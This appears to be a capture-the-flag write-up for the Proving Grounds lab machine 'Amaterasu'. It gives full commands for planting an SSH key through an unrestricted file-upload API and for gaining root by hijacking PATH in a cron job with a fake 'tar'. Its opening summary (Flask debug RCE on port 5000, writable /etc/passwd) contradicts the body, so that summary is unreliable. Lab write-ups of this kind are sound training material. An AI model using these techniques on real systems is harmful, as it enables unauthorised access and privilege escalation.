# Amaterasu Writeup - Proving Grounds

> Exploit Flask debug RCE on port 5000, enumerate SMB-like file API, upload reverse shell, then abuse writable /etc/passwd for root escalation.

- **URL:** https://hackindex.io/writeups/amaterasu
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/amaterasu-49068/overview
- **Tags:** privilege-escalation, cron-abuse
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 6 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

### Discovery

We begin with a full Nmap scan against the target to identify exposed services and their versions.

```bash
scan_tcp_full $TARGET_IP
# [+] Discovering all open TCP ports...
# <snip>
# [+] Parsing open TCP ports...
# [+] Running scripts & versions on TCP ports: 21,25022,33414,40080
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 04:43 +0100
# Nmap scan report for 192.168.184.249
# Host is up (0.024s latency).
#
# PORT      STATE SERVICE VERSION
# 21/tcp    open  ftp     vsftpd 3.0.3
# | ftp-syst: 
# |   STAT: 
# | FTP server status:
# |      Connected to 192.168.45.222
# |      Logged in as ftp
# |      TYPE: ASCII
# |      No session bandwidth limit
# |      Session timeout in seconds is 300
# |      Control connection is plain text
# |      Data connections will be plain text
# |      At session startup, client count was 3
# |      vsFTPd 3.0.3 - secure, fast, stable
# |_End of status
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# |_Can't get directory listing: TIMEOUT
# 25022/tcp open  ssh     OpenSSH 8.6 (protocol 2.0)
# | ssh-hostkey: 
# |   256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
# |_  256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
# 33414/tcp open  http    Werkzeug httpd 2.2.3 (Python 3.9.13)
# |_http-title: 404 Not Found
# |_http-server-header: Werkzeug/2.2.3 Python/3.9.13
# 40080/tcp open  http    Apache httpd 2.4.53 ((Fedora))
# |_http-title: My test page
# | http-methods: 
# |_  Potentially risky methods: TRACE
# |_http-server-header: Apache/2.4.53 (Fedora)
# Service Info: OS: Unix
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 43.13 seconds
```

From the results, a couple of ports stand out, especially **33414** and **40080**. Since they appear to be web-facing, we enumerate them further with **Gobuster** to discover hidden paths and endpoints.

```bash
gobuster dir -u "http://$TARGET_IP:33414" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -r
# ===============================================================
# Gobuster v3.8
# by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
# ===============================================================
# [+] Url:                     http://192.168.184.249:33414
# [+] Method:                  GET
# [+] Threads:                 50
# [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
# [+] Negative Status codes:   404
# [+] User Agent:              gobuster/3.8
# [+] Follow Redirect:         true
# [+] Timeout:                 10s
# ===============================================================
# Starting gobuster in directory enumeration mode
# ===============================================================
# /help                 (Status: 200) [Size: 137]
# /info                 (Status: 200) [Size: 98]
# Progress: 87478 / 141707 (61.73%)[ERROR] error on word t-43021: timeout occurred during the request
# Progress: 141707 / 141707 (100.00%)
# ===============================================================
# Finished
# ===============================================================
```

### API Checks

Next, we inspect what’s running on **HTTP port 33414** by browsing its available pages and checking the responses.

/info:

```
[
  "Python File Server REST API v2.5",
  "Author: Alfredo Moroder",
  "GET /help = List of the commands"
]

```

/help:

```
[
  "GET /info : General Info",
  "GET /help : This listing",
  "GET /file-list?dir=/tmp : List of the files",
  "POST /file-upload : Upload files"
]
```

The output points us to additional functionality, including two especially interesting endpoints:

- /file-list?dir=/tmp
- /file-upload

We continue by probing directory listing behavior to understand what we can access and how much visibility we have into the filesystem.

/file-list?dir=/tmp:

```
[
  "flask.tar.gz",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-httpd.service-ahY8MS",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-ModemManager.service-yphYDm",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-logind.service-pY2DMM",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-chronyd.service-Wrr8N4",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-dbus-broker.service-EZf7Au",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-resolved.service-Hibhb0",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-oomd.service-yES4xZ"
]

```

/file-list?dir=/home:

```
[
  "alfredo"
]

```

### File Uploading

With the reconnaissance done, we move on to testing the `/file-upload` endpoint to see how uploads are handled and whether there are restrictions on file type, extension, or content.

```bash
curl -X POST http://192.168.184.249:33414/file-upload
# {"message":"No file part in the request"}
```

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@README.md'
# {"message":"No filename part in the request"}
```

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@README.md' -F 'filename=test.md'
# {"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}
#
```

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@test.txt' -F 'filename=test.txt'
# {"message":"File successfully uploaded"}
#
```

Once we understand the validation logic, we attempt to upload a payload, such as a **PHP reverse shell**, while presenting it as a harmless `.txt` file to bypass filtering.

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@test.txt' -F 'filename=/home/alfredo/restapi/test.php'
# {"message":"File successfully uploaded"}
```

After uploading, the next step is verifying where the file ended up. Using the **file-list** feature, we search the filesystem for the uploaded payload.

```bash
http://192.168.184.249:33414/file-list?dir=/tmp
# [
#   "flask.tar.gz",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-httpd.service-ahY8MS",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-ModemManager.service-yphYDm",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-logind.service-pY2DMM",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-chronyd.service-Wrr8N4",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-dbus-broker.service-EZf7Au",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-resolved.service-Hibhb0",
#   "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-oomd.service-yES4xZ",
#   "test.php"
# ]
```

### Initial User Access

After confirming the payload is present on disk, we pivot to a more stable access method by adding our SSH public key into:

```bash
curl -X POST http://192.168.184.249:33414/file-upload -F 'file=@backdoor.txt' -F 'filename=/home/alfredo/.ssh/authorized_keys'
# {"message":"File successfully uploaded"}
```

With our key added to Alfredo’s account, we can authenticate over SSH using the corresponding private key and obtain an interactive shell as **alfredo**.

```bash
ssh alfredo@$TARGET_IP -i backdoor -p 25022    
# Warning: Permanently added '[192.168.184.249]:25022' (ED25519) to the list of known hosts.
# ** WARNING: connection is not using a post-quantum key exchange algorithm.
# ** This session may be vulnerable to "store now, decrypt later" attacks.
# ** The server may need to be upgraded. See https://openssh.com/pq.html
# Last login: Tue Mar 28 03:21:25 2023
# [alfredo@fedora ~]$ cat /home/alfredo/local.txt 
# [HIDDEN]
```

### Privilege Escalation

From the user shell, we check scheduled tasks to identify anything running with elevated privileges. We inspect cron configuration (system-wide or user-specific) and find a recurring job.

```bash
cat /etc/crontab
# SHELL=/bin/bash
# PATH=/sbin:/bin:/usr/sbin:/usr/bin
# MAILTO=root
#
# # For details see man 4 crontabs
#
# # Example of job definition:
# # .---------------- minute (0 - 59)
# # |  .------------- hour (0 - 23)
# # |  |  .---------- day of month (1 - 31)
# # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# # |  |  |  |  |
# # *  *  *  *  * user-name  command to be executed
#
# */1 * * * * root /usr/local/bin/backup-flask.sh
```

```bash
cat /usr/local/bin/backup-flask.sh
```

The referenced script is readable, and reviewing it reveals an important detail: it explicitly modifies `PATH` to include **Alfredo’s home directory**.

```python
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *
```

That’s a problem, because it means binaries in Alfredo’s directory can take precedence over system binaries when the script runs.

In this case, the script calls `tar`. If we place a malicious executable named `tar` inside the directory that appears earlier in `PATH`, the cron job will execute **our** version instead of `/bin/tar`.

So we create a fake `tar` executable in the appropriate location and make it runnable.

```bash
touch /home/alfredo/restapi/tar
chmod +x /home/alfredo/restapi/tar 
nano /home/alfredo/restapi/tar
# cp /root/*.txt /tmp
# chmod 644 /tmp/*.txt
```

Since the cron job runs every minute, we wait for the next execution. Once it triggers, our payload runs with the cron job’s privileges (root), allowing us to retrieve the root flag:

```bash
cat /tmp/proof.txt 
# [HIDDEN]
```

Related
